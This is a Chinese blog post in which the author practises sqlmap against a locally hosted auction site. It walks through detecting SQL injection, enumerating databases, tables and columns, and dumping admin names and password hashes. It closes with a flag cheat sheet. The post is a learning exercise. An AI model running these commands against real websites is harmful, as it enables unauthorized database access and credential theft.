sqlmap简单使用

今天学习了sqlmap的使用,自己又在网上查找了一些学习笔记然后就想在本地搭建的环境上测试使用一下


sqlmap简介

sqlmap支持五种不同的注入模式:

  • 1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
  • 2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
  • 3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
  • 4、联合查询注入,可以使用union的情况下的注入。
  • 5、堆查询注入,可以同时执行多条语句的执行时的注入。

测试环境:本地搭建的校园二手拍卖网站http://localhost/paimai/

1、指定目标URL,检测注入

参数:-u 或 –url

使用参数“-u”或“–url”指定一个URL作为目标,该参数后跟一个表示URL的字符串

E:\python\sqlmap>python sqlmap.py -u "http://127.0.0.1/paimai/items_view.php?id=6"


结果显示如上图

注入参数id为GET型

web server :windows

web应用程序技术为:Apache 2.2.21, PHP 5.3.10

数据库类型为:Mysql

注入过程中有若干询问语句,需要用户输入[Y/N],如果你懒得输入或者不懂怎么输入可以让程序自动输入,只需添加一个参数即可,命令如下:

python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" --batch  

2、列举数据库

参数:--dbs   列举出所有数据库

python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" --dbs


11个数据库

3、是否是管理员权限

参数  --is-dba    查看是否是管理员权限

python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" --is-dba

结果:


DBA:True表示是管理员权限

4、当前数据库

参数   --current-db          当前数据库

python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" --current-db

结果:


5、当前数据库

参数      --current-user          当前用户     --users     所有用户

python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" --current-user

结果:


6、列举数据库的表名

参数       --tables          列举数据库的表名

-D:指定数据库名称

不加-D会列出全部的表名,很慢

python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" -D paimai --tables

结果:


七、列出表中字段

参数:

-D:指定数据库名称

-T:指定要列出字段的表

--columns:指定列出字段

python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" -D paimai -T user --columns


八、暴字段内容

参数:

-C :指定要暴的字段

--dump:将结果导出

python sqlmap.py -u "http://localhost/paimai/items_view.php?id=6" -D paimai -T admin -C"admin_name,admin_pass" --dump



md5解密后即可得到密码


最后是别人的总结:


-p               指定测试参数
-b               获取banner
--dbs             列举数据库
--is-dba          是否是管理员权限
--current-db          当前数据库
--current-user          当前用户
--tables          列举数据库的表名
--count               检索所有条目数
--columns          获取表的列名
--dump                获取表中的数据,包含列
--dump-all          转存DBMS数据库所有表项目
--level               测试等级(1-5),默认为1
-v                  显示详细信息

读取数据库--->读取表---->读取表的列---->获取内容

-D                 指定数据库

-T               指定表

-C               指定列

--dbms=mysql  oracle mssql          指定数据库



  • 6
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值